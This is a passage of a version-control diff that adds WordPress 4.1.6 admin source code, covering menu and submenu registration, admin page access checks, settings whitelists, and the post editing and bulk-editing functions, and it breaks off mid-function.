+ * @param string $menu_title The text to be used for the menu
+ * @param string $capability The capability required for this menu to be displayed to the user.
+ * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu)
+ * @param callback $function The function to be called to output the content for this page.
+ *
+ * @return false|string The resulting page's hook_suffix, or false if the user does not have the capability required.
+ */
+function add_links_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) {
+	return add_submenu_page( 'link-manager.php', $page_title, $menu_title, $capability, $menu_slug, $function );
+}
+
+/**
+ * Add sub menu page to the pages main menu.
+ *
+ * This function takes a capability which will be used to determine whether
+ * or not a page is included in the menu.
+ *
+ * The function which is hooked in to handle the output of the page must check
+ * that the user has the required capability as well.
+ *
+ * @param string $page_title The text to be displayed in the title tags of the page when the menu is selected
+ * @param string $menu_title The text to be used for the menu
+ * @param string $capability The capability required for this menu to be displayed to the user.
+ * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu)
+ * @param callback $function The function to be called to output the content for this page.
+ *
+ * @return false|string The resulting page's hook_suffix, or false if the user does not have the capability required.
+*/
+function add_pages_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) {
+	return add_submenu_page( 'edit.php?post_type=page', $page_title, $menu_title, $capability, $menu_slug, $function );
+}
+
+/**
+ * Add sub menu page to the comments main menu.
+ *
+ * This function takes a capability which will be used to determine whether
+ * or not a page is included in the menu.
+ *
+ * The function which is hooked in to handle the output of the page must check
+ * that the user has the required capability as well.
+ *
+ * @param string $page_title The text to be displayed in the title tags of the page when the menu is selected
+ * @param string $menu_title The text to be used for the menu
+ * @param string $capability The capability required for this menu to be displayed to the user.
+ * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu)
+ * @param callback $function The function to be called to output the content for this page.
+ *
+ * @return false|string The resulting page's hook_suffix, or false if the user does not have the capability required.
+*/
+function add_comments_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) {
+	return add_submenu_page( 'edit-comments.php', $page_title, $menu_title, $capability, $menu_slug, $function );
+}
+
+/**
+ * Remove a top level admin menu
+ *
+ * @since 3.1.0
+ *
+ * @param string $menu_slug The slug of the menu
+ * @return array|bool The removed menu on success, False if not found
+ */
+function remove_menu_page( $menu_slug ) {
+	global $menu;
+
+	foreach ( $menu as $i => $item ) {
+		if ( $menu_slug == $item[2] ) {
+			unset( $menu[$i] );
+			return $item;
+		}
+	}
+
+	return false;
+}
+
+/**
+ * Remove an admin submenu
+ *
+ * @since 3.1.0
+ *
+ * @param string $menu_slug The slug for the parent menu
+ * @param string $submenu_slug The slug of the submenu
+ * @return array|bool The removed submenu on success, False if not found
+ */
+function remove_submenu_page( $menu_slug, $submenu_slug ) {
+	global $submenu;
+
+	if ( !isset( $submenu[$menu_slug] ) )
+		return false;
+
+	foreach ( $submenu[$menu_slug] as $i => $item ) {
+		if ( $submenu_slug == $item[2] ) {
+			unset( $submenu[$menu_slug][$i] );
+			return $item;
+		}
+	}
+
+	return false;
+}
+
+/**
+ * Get the url to access a particular menu page based on the slug it was registered with.
+ *
+ * If the slug hasn't been registered properly no url will be returned
+ *
+ * @since 3.0.0
+ *
+ * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu)
+ * @param bool $echo Whether or not to echo the url - default is true
+ * @return string the url
+ */
+function menu_page_url($menu_slug, $echo = true) {
+	global $_parent_pages;
+
+	if ( isset( $_parent_pages[$menu_slug] ) ) {
+		$parent_slug = $_parent_pages[$menu_slug];
+		if ( $parent_slug && ! isset( $_parent_pages[$parent_slug] ) ) {
+			$url = admin_url( add_query_arg( 'page', $menu_slug, $parent_slug ) );
+		} else {
+			$url = admin_url( 'admin.php?page=' . $menu_slug );
+		}
+	} else {
+		$url = '';
+	}
+
+	$url = esc_url($url);
+
+	if ( $echo )
+		echo $url;
+
+	return $url;
+}
+
+//
+// Pluggable Menu Support -- Private
+//
+
+function get_admin_page_parent( $parent = '' ) {
+	global $parent_file;
+	global $menu;
+	global $submenu;
+	global $pagenow;
+	global $typenow;
+	global $plugin_page;
+	global $_wp_real_parent_file;
+	global $_wp_menu_nopriv;
+	global $_wp_submenu_nopriv;
+
+	if ( !empty ( $parent ) && 'admin.php' != $parent ) {
+		if ( isset( $_wp_real_parent_file[$parent] ) )
+			$parent = $_wp_real_parent_file[$parent];
+		return $parent;
+	}
+
+	if ( $pagenow == 'admin.php' && isset( $plugin_page ) ) {
+		foreach ( (array)$menu as $parent_menu ) {
+			if ( $parent_menu[2] == $plugin_page ) {
+				$parent_file = $plugin_page;
+				if ( isset( $_wp_real_parent_file[$parent_file] ) )
+					$parent_file = $_wp_real_parent_file[$parent_file];
+				return $parent_file;
+			}
+		}
+		if ( isset( $_wp_menu_nopriv[$plugin_page] ) ) {
+			$parent_file = $plugin_page;
+			if ( isset( $_wp_real_parent_file[$parent_file] ) )
+					$parent_file = $_wp_real_parent_file[$parent_file];
+			return $parent_file;
+		}
+	}
+
+	if ( isset( $plugin_page ) && isset( $_wp_submenu_nopriv[$pagenow][$plugin_page] ) ) {
+		$parent_file = $pagenow;
+		if ( isset( $_wp_real_parent_file[$parent_file] ) )
+			$parent_file = $_wp_real_parent_file[$parent_file];
+		return $parent_file;
+	}
+
+	foreach (array_keys( (array)$submenu ) as $parent) {
+		foreach ( $submenu[$parent] as $submenu_array ) {
+			if ( isset( $_wp_real_parent_file[$parent] ) )
+				$parent = $_wp_real_parent_file[$parent];
+			if ( !empty($typenow) && ($submenu_array[2] == "$pagenow?post_type=$typenow") ) {
+				$parent_file = $parent;
+				return $parent;
+			} elseif ( $submenu_array[2] == $pagenow && empty($typenow) && ( empty($parent_file) || false === strpos($parent_file, '?') ) ) {
+				$parent_file = $parent;
+				return $parent;
+			} else
+				if ( isset( $plugin_page ) && ($plugin_page == $submenu_array[2] ) ) {
+					$parent_file = $parent;
+					return $parent;
+				}
+		}
+	}
+
+	if ( empty($parent_file) )
+		$parent_file = '';
+	return '';
+}
+
+function get_admin_page_title() {
+	global $title;
+	global $menu;
+	global $submenu;
+	global $pagenow;
+	global $plugin_page;
+	global $typenow;
+
+	if ( ! empty ( $title ) )
+		return $title;
+
+	$hook = get_plugin_page_hook( $plugin_page, $pagenow );
+
+	$parent = $parent1 = get_admin_page_parent();
+
+	if ( empty ( $parent) ) {
+		foreach ( (array)$menu as $menu_array ) {
+			if ( isset( $menu_array[3] ) ) {
+				if ( $menu_array[2] == $pagenow ) {
+					$title = $menu_array[3];
+					return $menu_array[3];
+				} else
+					if ( isset( $plugin_page ) && ($plugin_page == $menu_array[2] ) && ($hook == $menu_array[3] ) ) {
+						$title = $menu_array[3];
+						return $menu_array[3];
+					}
+			} else {
+				$title = $menu_array[0];
+				return $title;
+			}
+		}
+	} else {
+		foreach ( array_keys( $submenu ) as $parent ) {
+			foreach ( $submenu[$parent] as $submenu_array ) {
+				if ( isset( $plugin_page ) &&
+					( $plugin_page == $submenu_array[2] ) &&
+					(
+						( $parent == $pagenow ) ||
+						( $parent == $plugin_page ) ||
+						( $plugin_page == $hook ) ||
+						( $pagenow == 'admin.php' && $parent1 != $submenu_array[2] ) ||
+						( !empty($typenow) && $parent == $pagenow . '?post_type=' . $typenow)
+					)
+					) {
+						$title = $submenu_array[3];
+						return $submenu_array[3];
+					}
+
+				if ( $submenu_array[2] != $pagenow || isset( $_GET['page'] ) ) // not the current page
+					continue;
+
+				if ( isset( $submenu_array[3] ) ) {
+					$title = $submenu_array[3];
+					return $submenu_array[3];
+				} else {
+					$title = $submenu_array[0];
+					return $title;
+				}
+			}
+		}
+		if ( empty ( $title ) ) {
+			foreach ( $menu as $menu_array ) {
+				if ( isset( $plugin_page ) &&
+					( $plugin_page == $menu_array[2] ) &&
+					( $pagenow == 'admin.php' ) &&
+					( $parent1 == $menu_array[2] ) )
+					{
+						$title = $menu_array[3];
+						return $menu_array[3];
+					}
+			}
+		}
+	}
+
+	return $title;
+}
+
+function get_plugin_page_hook( $plugin_page, $parent_page ) {
+	$hook = get_plugin_page_hookname( $plugin_page, $parent_page );
+	if ( has_action($hook) )
+		return $hook;
+	else
+		return null;
+}
+
+function get_plugin_page_hookname( $plugin_page, $parent_page ) {
+	global $admin_page_hooks;
+
+	$parent = get_admin_page_parent( $parent_page );
+
+	$page_type = 'admin';
+	if ( empty ( $parent_page ) || 'admin.php' == $parent_page || isset( $admin_page_hooks[$plugin_page] ) ) {
+		if ( isset( $admin_page_hooks[$plugin_page] ) )
+			$page_type = 'toplevel';
+		else
+			if ( isset( $admin_page_hooks[$parent] ))
+				$page_type = $admin_page_hooks[$parent];
+	} else if ( isset( $admin_page_hooks[$parent] ) ) {
+		$page_type = $admin_page_hooks[$parent];
+	}
+
+	$plugin_name = preg_replace( '!\.php!', '', $plugin_page );
+
+	return $page_type . '_page_' . $plugin_name;
+}
+
+function user_can_access_admin_page() {
+	global $pagenow;
+	global $menu;
+	global $submenu;
+	global $_wp_menu_nopriv;
+	global $_wp_submenu_nopriv;
+	global $plugin_page;
+	global $_registered_pages;
+
+	$parent = get_admin_page_parent();
+
+	if ( !isset( $plugin_page ) && isset( $_wp_submenu_nopriv[$parent][$pagenow] ) )
+		return false;
+
+	if ( isset( $plugin_page ) ) {
+		if ( isset( $_wp_submenu_nopriv[$parent][$plugin_page] ) )
+			return false;
+
+		$hookname = get_plugin_page_hookname($plugin_page, $parent);
+
+		if ( !isset($_registered_pages[$hookname]) )
+			return false;
+	}
+
+	if ( empty( $parent) ) {
+		if ( isset( $_wp_menu_nopriv[$pagenow] ) )
+			return false;
+		if ( isset( $_wp_submenu_nopriv[$pagenow][$pagenow] ) )
+			return false;
+		if ( isset( $plugin_page ) && isset( $_wp_submenu_nopriv[$pagenow][$plugin_page] ) )
+			return false;
+		if ( isset( $plugin_page ) && isset( $_wp_menu_nopriv[$plugin_page] ) )
+			return false;
+		foreach (array_keys( $_wp_submenu_nopriv ) as $key ) {
+			if ( isset( $_wp_submenu_nopriv[$key][$pagenow] ) )
+				return false;
+			if ( isset( $plugin_page ) && isset( $_wp_submenu_nopriv[$key][$plugin_page] ) )
+			return false;
+		}
+		return true;
+	}
+
+	if ( isset( $plugin_page ) && ( $plugin_page == $parent ) && isset( $_wp_menu_nopriv[$plugin_page] ) )
+		return false;
+
+	if ( isset( $submenu[$parent] ) ) {
+		foreach ( $submenu[$parent] as $submenu_array ) {
+			if ( isset( $plugin_page ) && ( $submenu_array[2] == $plugin_page ) ) {
+				if ( current_user_can( $submenu_array[1] ))
+					return true;
+				else
+					return false;
+			} else if ( $submenu_array[2] == $pagenow ) {
+				if ( current_user_can( $submenu_array[1] ))
+					return true;
+				else
+					return false;
+			}
+		}
+	}
+
+	foreach ( $menu as $menu_array ) {
+		if ( $menu_array[2] == $parent) {
+			if ( current_user_can( $menu_array[1] ))
+				return true;
+			else
+				return false;
+		}
+	}
+
+	return true;
+}
+
+/* Whitelist functions */
+
+/**
+ * Register a setting and its sanitization callback
+ *
+ * @since 2.7.0
+ *
+ * @param string $option_group A settings group name. Should correspond to a whitelisted option key name.
+ * 	Default whitelisted option key names include "general," "discussion," and "reading," among others.
+ * @param string $option_name The name of an option to sanitize and save.
+ * @param callable $sanitize_callback A callback function that sanitizes the option's value.
+ */
+function register_setting( $option_group, $option_name, $sanitize_callback = '' ) {
+	global $new_whitelist_options;
+
+	if ( 'misc' == $option_group ) {
+		_deprecated_argument( __FUNCTION__, '3.0', sprintf( __( 'The "%s" options group has been removed. Use another settings group.' ), 'misc' ) );
+		$option_group = 'general';
+	}
+
+	if ( 'privacy' == $option_group ) {
+		_deprecated_argument( __FUNCTION__, '3.5', sprintf( __( 'The "%s" options group has been removed. Use another settings group.' ), 'privacy' ) );
+		$option_group = 'reading';
+	}
+
+	$new_whitelist_options[ $option_group ][] = $option_name;
+	if ( $sanitize_callback != '' )
+		add_filter( "sanitize_option_{$option_name}", $sanitize_callback );
+}
+
+/**
+ * Unregister a setting
+ *
+ * @since 2.7.0
+ *
+ * @param string   $option_group
+ * @param string   $option_name
+ * @param callable $sanitize_callback
+ */
+function unregister_setting( $option_group, $option_name, $sanitize_callback = '' ) {
+	global $new_whitelist_options;
+
+	if ( 'misc' == $option_group ) {
+		_deprecated_argument( __FUNCTION__, '3.0', sprintf( __( 'The "%s" options group has been removed. Use another settings group.' ), 'misc' ) );
+		$option_group = 'general';
+	}
+
+	if ( 'privacy' == $option_group ) {
+		_deprecated_argument( __FUNCTION__, '3.5', sprintf( __( 'The "%s" options group has been removed. Use another settings group.' ), 'privacy' ) );
+		$option_group = 'reading';
+	}
+
+	$pos = array_search( $option_name, (array) $new_whitelist_options );
+	if ( $pos !== false )
+		unset( $new_whitelist_options[ $option_group ][ $pos ] );
+	if ( $sanitize_callback != '' )
+		remove_filter( "sanitize_option_{$option_name}", $sanitize_callback );
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.7.0
+ *
+ * @param array $options
+ * @return array
+ */
+function option_update_filter( $options ) {
+	global $new_whitelist_options;
+
+	if ( is_array( $new_whitelist_options ) )
+		$options = add_option_whitelist( $new_whitelist_options, $options );
+
+	return $options;
+}
+add_filter( 'whitelist_options', 'option_update_filter' );
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.7.0
+ *
+ * @param array        $new_options
+ * @param string|array $options
+ * @return array
+ */
+function add_option_whitelist( $new_options, $options = '' ) {
+	if ( $options == '' )
+		global $whitelist_options;
+	else
+		$whitelist_options = $options;
+
+	foreach ( $new_options as $page => $keys ) {
+		foreach ( $keys as $key ) {
+			if ( !isset($whitelist_options[ $page ]) || !is_array($whitelist_options[ $page ]) ) {
+				$whitelist_options[ $page ] = array();
+				$whitelist_options[ $page ][] = $key;
+			} else {
+				$pos = array_search( $key, $whitelist_options[ $page ] );
+				if ( $pos === false )
+					$whitelist_options[ $page ][] = $key;
+			}
+		}
+	}
+
+	return $whitelist_options;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.7.0
+ *
+ * @param array        $del_options
+ * @param string|array $options
+ * @return array
+ */
+function remove_option_whitelist( $del_options, $options = '' ) {
+	if ( $options == '' )
+		global $whitelist_options;
+	else
+		$whitelist_options = $options;
+
+	foreach ( $del_options as $page => $keys ) {
+		foreach ( $keys as $key ) {
+			if ( isset($whitelist_options[ $page ]) && is_array($whitelist_options[ $page ]) ) {
+				$pos = array_search( $key, $whitelist_options[ $page ] );
+				if ( $pos !== false )
+					unset( $whitelist_options[ $page ][ $pos ] );
+			}
+		}
+	}
+
+	return $whitelist_options;
+}
+
+/**
+ * Output nonce, action, and option_page fields for a settings page.
+ *
+ * @since 2.7.0
+ *
+ * @param string $option_group A settings group name. This should match the group name used in register_setting().
+ */
+function settings_fields($option_group) {
+	echo "<input type='hidden' name='option_page' value='" . esc_attr($option_group) . "' />";
+	echo '<input type="hidden" name="action" value="update" />';
+	wp_nonce_field("$option_group-options");
+}
+
+/**
+ * Clears the Plugins cache used by get_plugins() and by default, the Plugin Update cache.
+ *
+ * @since 3.7.0
+ *
+ * @param bool $clear_update_cache Whether to clear the Plugin updates cache
+ */
+function wp_clean_plugins_cache( $clear_update_cache = true ) {
+	if ( $clear_update_cache )
+		delete_site_transient( 'update_plugins' );
+	wp_cache_delete( 'plugins', 'plugins' );
+}
Index: /tags/4.1.6/src/wp-admin/includes/post.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/post.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/post.php	(revision 33402)
@@ -0,0 +1,1673 @@
+<?php
+/**
+ * WordPress Post Administration API.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Rename $_POST data from form names to DB post columns.
+ *
+ * Manipulates $_POST directly.
+ *
+ * @package WordPress
+ * @since 2.6.0
+ *
+ * @param bool $update Are we updating a pre-existing post?
+ * @param array $post_data Array of post data. Defaults to the contents of $_POST.
+ * @return object|bool WP_Error on failure, true on success.
+ */
+function _wp_translate_postdata( $update = false, $post_data = null ) {
+
+	if ( empty($post_data) )
+		$post_data = &$_POST;
+
+	if ( $update )
+		$post_data['ID'] = (int) $post_data['post_ID'];
+
+	$ptype = get_post_type_object( $post_data['post_type'] );
+
+	if ( $update && ! current_user_can( 'edit_post', $post_data['ID'] ) ) {
+		if ( 'page' == $post_data['post_type'] )
+			return new WP_Error( 'edit_others_pages', __( 'You are not allowed to edit pages as this user.' ) );
+		else
+			return new WP_Error( 'edit_others_posts', __( 'You are not allowed to edit posts as this user.' ) );
+	} elseif ( ! $update && ! current_user_can( $ptype->cap->create_posts ) ) {
+		if ( 'page' == $post_data['post_type'] )
+			return new WP_Error( 'edit_others_pages', __( 'You are not allowed to create pages as this user.' ) );
+		else
+			return new WP_Error( 'edit_others_posts', __( 'You are not allowed to create posts as this user.' ) );
+	}
+
+	if ( isset( $post_data['content'] ) )
+		$post_data['post_content'] = $post_data['content'];
+
+	if ( isset( $post_data['excerpt'] ) )
+		$post_data['post_excerpt'] = $post_data['excerpt'];
+
+	if ( isset( $post_data['parent_id'] ) )
+		$post_data['post_parent'] = (int) $post_data['parent_id'];
+
+	if ( isset($post_data['trackback_url']) )
+		$post_data['to_ping'] = $post_data['trackback_url'];
+
+	$post_data['user_ID'] = get_current_user_id();
+
+	if (!empty ( $post_data['post_author_override'] ) ) {
+		$post_data['post_author'] = (int) $post_data['post_author_override'];
+	} else {
+		if (!empty ( $post_data['post_author'] ) ) {
+			$post_data['post_author'] = (int) $post_data['post_author'];
+		} else {
+			$post_data['post_author'] = (int) $post_data['user_ID'];
+		}
+	}
+
+	if ( isset( $post_data['user_ID'] ) && ( $post_data['post_author'] != $post_data['user_ID'] )
+		 && ! current_user_can( $ptype->cap->edit_others_posts ) ) {
+		if ( $update ) {
+			if ( 'page' == $post_data['post_type'] )
+				return new WP_Error( 'edit_others_pages', __( 'You are not allowed to edit pages as this user.' ) );
+			else
+				return new WP_Error( 'edit_others_posts', __( 'You are not allowed to edit posts as this user.' ) );
+		} else {
+			if ( 'page' == $post_data['post_type'] )
+				return new WP_Error( 'edit_others_pages', __( 'You are not allowed to create pages as this user.' ) );
+			else
+				return new WP_Error( 'edit_others_posts', __( 'You are not allowed to create posts as this user.' ) );
+		}
+	}
+
+	if ( ! empty( $post_data['post_status'] ) ) {
+		$post_data['post_status'] = sanitize_key( $post_data['post_status'] );
+
+		// No longer an auto-draft
+		if ( 'auto-draft' === $post_data['post_status'] ) {
+			$post_data['post_status'] = 'draft';
+		}
+
+		if ( ! get_post_status_object( $post_data['post_status'] ) ) {
+			unset( $post_data['post_status'] );
+		}
+	}
+
+	// What to do based on which button they pressed
+	if ( isset($post_data['saveasdraft']) && '' != $post_data['saveasdraft'] )
+		$post_data['post_status'] = 'draft';
+	if ( isset($post_data['saveasprivate']) && '' != $post_data['saveasprivate'] )
+		$post_data['post_status'] = 'private';
+	if ( isset($post_data['publish']) && ( '' != $post_data['publish'] ) && ( !isset($post_data['post_status']) || $post_data['post_status'] != 'private' ) )
+		$post_data['post_status'] = 'publish';
+	if ( isset($post_data['advanced']) && '' != $post_data['advanced'] )
+		$post_data['post_status'] = 'draft';
+	if ( isset($post_data['pending']) && '' != $post_data['pending'] )
+		$post_data['post_status'] = 'pending';
+
+	if ( isset( $post_data['ID'] ) )
+		$post_id = $post_data['ID'];
+	else
+		$post_id = false;
+	$previous_status = $post_id ? get_post_field( 'post_status', $post_id ) : false;
+
+	if ( isset( $post_data['post_status'] ) && 'private' == $post_data['post_status'] && ! current_user_can( $ptype->cap->publish_posts ) ) {
+		$post_data['post_status'] = $previous_status ? $previous_status : 'pending';
+	}
+
+	$published_statuses = array( 'publish', 'future' );
+
+	// Posts 'submitted for approval' present are submitted to $_POST the same as if they were being published.
+	// Change status from 'publish' to 'pending' if user lacks permissions to publish or to resave published posts.
+	if ( isset($post_data['post_status']) && (in_array( $post_data['post_status'], $published_statuses ) && !current_user_can( $ptype->cap->publish_posts )) )
+		if ( ! in_array( $previous_status, $published_statuses ) || !current_user_can( 'edit_post', $post_id ) )
+			$post_data['post_status'] = 'pending';
+
+	if ( ! isset( $post_data['post_status'] ) ) {
+		$post_data['post_status'] = 'auto-draft' === $previous_status ? 'draft' : $previous_status;
+	}
+
+	if ( isset( $post_data['post_password'] ) && ! current_user_can( $ptype->cap->publish_posts ) ) {
+		unset( $post_data['post_password'] );
+	}
+
+	if (!isset( $post_data['comment_status'] ))
+		$post_data['comment_status'] = 'closed';
+
+	if (!isset( $post_data['ping_status'] ))
+		$post_data['ping_status'] = 'closed';
+
+	foreach ( array('aa', 'mm', 'jj', 'hh', 'mn') as $timeunit ) {
+		if ( !empty( $post_data['hidden_' . $timeunit] ) && $post_data['hidden_' . $timeunit] != $post_data[$timeunit] ) {
+			$post_data['edit_date'] = '1';
+			break;
+		}
+	}
+
+	if ( !empty( $post_data['edit_date'] ) ) {
+		$aa = $post_data['aa'];
+		$mm = $post_data['mm'];
+		$jj = $post_data['jj'];
+		$hh = $post_data['hh'];
+		$mn = $post_data['mn'];
+		$ss = $post_data['ss'];
+		$aa = ($aa <= 0 ) ? date('Y') : $aa;
+		$mm = ($mm <= 0 ) ? date('n') : $mm;
+		$jj = ($jj > 31 ) ? 31 : $jj;
+		$jj = ($jj <= 0 ) ? date('j') : $jj;
+		$hh = ($hh > 23 ) ? $hh -24 : $hh;
+		$mn = ($mn > 59 ) ? $mn -60 : $mn;
+		$ss = ($ss > 59 ) ? $ss -60 : $ss;
+		$post_data['post_date'] = sprintf( "%04d-%02d-%02d %02d:%02d:%02d", $aa, $mm, $jj, $hh, $mn, $ss );
+		$valid_date = wp_checkdate( $mm, $jj, $aa, $post_data['post_date'] );
+		if ( !$valid_date ) {
+			return new WP_Error( 'invalid_date', __( 'Whoops, the provided date is invalid.' ) );
+		}
+		$post_data['post_date_gmt'] = get_gmt_from_date( $post_data['post_date'] );
+	}
+
+	return $post_data;
+}
+
+/**
+ * Update an existing post with values provided in $_POST.
+ *
+ * @since 1.5.0
+ *
+ * @param array $post_data Optional.
+ * @return int Post ID.
+ */
+function edit_post( $post_data = null ) {
+	global $wpdb;
+
+	if ( empty($post_data) )
+		$post_data = &$_POST;
+
+	// Clear out any data in internal vars.
+	unset( $post_data['filter'] );
+
+	$post_ID = (int) $post_data['post_ID'];
+	$post = get_post( $post_ID );
+	$post_data['post_type'] = $post->post_type;
+	$post_data['post_mime_type'] = $post->post_mime_type;
+
+	if ( ! empty( $post_data['post_status'] ) ) {
+		$post_data['post_status'] = sanitize_key( $post_data['post_status'] );
+
+		if ( 'inherit' == $post_data['post_status'] ) {
+			unset( $post_data['post_status'] );
+		}
+	}
+
+	$ptype = get_post_type_object($post_data['post_type']);
+	if ( !current_user_can( 'edit_post', $post_ID ) ) {
+		if ( 'page' == $post_data['post_type'] )
+			wp_die( __('You are not allowed to edit this page.' ));
+		else
+			wp_die( __('You are not allowed to edit this post.' ));
+	}
+
+	if ( post_type_supports( $ptype->name, 'revisions' ) ) {
+		$revisions = wp_get_post_revisions( $post_ID, array( 'order' => 'ASC', 'posts_per_page' => 1 ) );
+		$revision = current( $revisions );
+
+		// Check if the revisions have been upgraded
+		if ( $revisions && _wp_get_post_revision_version( $revision ) < 1 )
+			_wp_upgrade_revisions_of_post( $post, wp_get_post_revisions( $post_ID ) );
+	}
+
+	if ( isset($post_data['visibility']) ) {
+		switch ( $post_data['visibility'] ) {
+			case 'public' :
+				$post_data['post_password'] = '';
+				break;
+			case 'password' :
+				unset( $post_data['sticky'] );
+				break;
+			case 'private' :
+				$post_data['post_status'] = 'private';
+				$post_data['post_password'] = '';
+				unset( $post_data['sticky'] );
+				break;
+		}
+	}
+
+	$post_data = _wp_translate_postdata( true, $post_data );
+	if ( is_wp_error($post_data) )
+		wp_die( $post_data->get_error_message() );
+
+	// Post Formats
+	if ( isset( $post_data['post_format'] ) )
+		set_post_format( $post_ID, $post_data['post_format'] );
+
+	$format_meta_urls = array( 'url', 'link_url', 'quote_source_url' );
+	foreach ( $format_meta_urls as $format_meta_url ) {
+		$keyed = '_format_' . $format_meta_url;
+		if ( isset( $post_data[ $keyed ] ) )
+			update_post_meta( $post_ID, $keyed, wp_slash( esc_url_raw( wp_unslash( $post_data[ $keyed ] ) ) ) );
+	}
+
+	$format_keys = array( 'quote', 'quote_source_name', 'image', 'gallery', 'audio_embed', 'video_embed' );
+
+	foreach ( $format_keys as $key ) {
+		$keyed = '_format_' . $key;
+		if ( isset( $post_data[ $keyed ] ) ) {
+			if ( current_user_can( 'unfiltered_html' ) )
+				update_post_meta( $post_ID, $keyed, $post_data[ $keyed ] );
+			else
+				update_post_meta( $post_ID, $keyed, wp_filter_post_kses( $post_data[ $keyed ] ) );
+		}
+	}
+
+	if ( 'attachment' === $post_data['post_type'] && preg_match( '#^(audio|video)/#', $post_data['post_mime_type'] ) ) {
+		$id3data = wp_get_attachment_metadata( $post_ID );
+		if ( ! is_array( $id3data ) ) {
+			$id3data = array();
+		}
+
+		foreach ( wp_get_attachment_id3_keys( $post, 'edit' ) as $key => $label ) {
+			if ( isset( $post_data[ 'id3_' . $key ] ) ) {
+				$id3data[ $key ] = sanitize_text_field( wp_unslash( $post_data[ 'id3_' . $key ] ) );
+			}
+		}
+		wp_update_attachment_metadata( $post_ID, $id3data );
+	}
+
+	// Meta Stuff
+	if ( isset($post_data['meta']) && $post_data['meta'] ) {
+		foreach ( $post_data['meta'] as $key => $value ) {
+			if ( !$meta = get_post_meta_by_id( $key ) )
+				continue;
+			if ( $meta->post_id != $post_ID )
+				continue;
+			if ( is_protected_meta( $value['key'], 'post' ) || ! current_user_can( 'edit_post_meta', $post_ID, $value['key'] ) )
+				continue;
+			update_meta( $key, $value['key'], $value['value'] );
+		}
+	}
+
+	if ( isset($post_data['deletemeta']) && $post_data['deletemeta'] ) {
+		foreach ( $post_data['deletemeta'] as $key => $value ) {
+			if ( !$meta = get_post_meta_by_id( $key ) )
+				continue;
+			if ( $meta->post_id != $post_ID )
+				continue;
+			if ( is_protected_meta( $meta->meta_key, 'post' ) || ! current_user_can( 'delete_post_meta', $post_ID, $meta->meta_key ) )
+				continue;
+			delete_meta( $key );
+		}
+	}
+
+	// Attachment stuff
+	if ( 'attachment' == $post_data['post_type'] ) {
+		if ( isset( $post_data[ '_wp_attachment_image_alt' ] ) ) {
+			$image_alt = wp_unslash( $post_data['_wp_attachment_image_alt'] );
+			if ( $image_alt != get_post_meta( $post_ID, '_wp_attachment_image_alt', true ) ) {
+				$image_alt = wp_strip_all_tags( $image_alt, true );
+				// update_meta expects slashed.
+				update_post_meta( $post_ID, '_wp_attachment_image_alt', wp_slash( $image_alt ) );
+			}
+		}
+
+		$attachment_data = isset( $post_data['attachments'][ $post_ID ] ) ? $post_data['attachments'][ $post_ID ] : array();
+
+		/** This filter is documented in wp-admin/includes/media.php */
+		$post_data = apply_filters( 'attachment_fields_to_save', $post_data, $attachment_data );
+	}
+
+	add_meta( $post_ID );
+
+	update_post_meta( $post_ID, '_edit_last', get_current_user_id() );
+
+	$success = wp_update_post( $post_data );
+	// If the save failed, see if we can sanity check the main fields and try again
+	if ( ! $success && is_callable( array( $wpdb, 'strip_invalid_text_for_column' ) ) ) {
+		$fields = array( 'post_title', 'post_content', 'post_excerpt' );
+
+		foreach( $fields as $field ) {
+			if ( isset( $post_data[ $field ] ) ) {
+				$post_data[ $field ] = $wpdb->strip_invalid_text_for_column( $wpdb->posts, $field, $post_data[ $field ] );
+			}
+		}
+
+		wp_update_post( $post_data );
+	}
+
+	// Now that we have an ID we can fix any attachment anchor hrefs
+	_fix_attachment_links( $post_ID );
+
+	wp_set_post_lock( $post_ID );
+
+	if ( current_user_can( $ptype->cap->edit_others_posts ) ) {
+		if ( ! empty( $post_data['sticky'] ) )
+			stick_post( $post_ID );
+		else
+			unstick_post( $post_ID );
+	}
+
+	return $post_ID;
+}
+
+/**
+ * Process the post data for the bulk editing of posts.
+ *
+ * Updates all bulk edited posts/pages, adding (but not removing) tags and
+ * categories. Skips pages when they would be their own parent or child.
+ *
+ * @since 2.7.0
+ *
+ * @param array $post_data Optional, the array of post data to process if not provided will use $_POST superglobal.
+ * @return array
+ */
+function bulk_edit_posts( $post_data = null ) {
+	global $wpdb;
+
+	if ( empty($post_data) )
+		$post_data = &$_POST;
+
+	if ( isset($post_data['post_type']) )
+		$ptype = get_post_type_object($post_data['post_type']);
+	else
+		$ptype = get_post_type_object('post');
+
+	if ( !current_user_can( $ptype->cap->edit_posts ) ) {
+		if ( 'page' == $ptype->name )
+			wp_die( __('You are not allowed to edit pages.'));
+		else
+			wp_die( __('You are not allowed to edit posts.'));
+	}
+
+	if ( -1 == $post_data['_status'] ) {
+		$post_data['post_status'] = null;
+		unset($post_data['post_status']);
+	} else {
+		$post_data['post_status'] = $post_data['_status'];
+	}
+	unset($post_data['_status']);
+
+	if ( ! empty( $post_data['post_status'] ) ) {
+		$post_data['post_status'] = sanitize_key( $post_data['post_status'] );
+
+		if ( 'inherit' == $post_data['post_status'] ) {
+			unset( $post_data['post_status'] );
+		}
+	}
+
+	$post_IDs = array_map( 'intval', (array) $post_data['post'] );
+
+	$reset = array(
+		'post_author', 'post_status', 'post_password',
+		'post_parent', 'page_template', 'comment_status',
+		'ping_status', 'keep_private', 'tax_input',
+		'post_category', 'sticky', 'post_format',
+	);
+
+	foreach ( $reset as $field ) {
+		if ( isset($post_data[$field]) && ( '' == $post_data[$field] || -1 == $post_data[$field] ) )
+			unset($post_data[$field]);
+	}
+
+	if ( isset($post_data['post_category']) ) {
+		if ( is_array($post_data['post_category']) && ! empty($post_data['post_category']) )
+			$new_cats = array_map( 'absint', $post_data['post_category'] );
+		else
+			unset($post_data['post_category']);
+	}
+
+	$tax_input = array();
+	if ( isset($post_data['tax_input'])) {
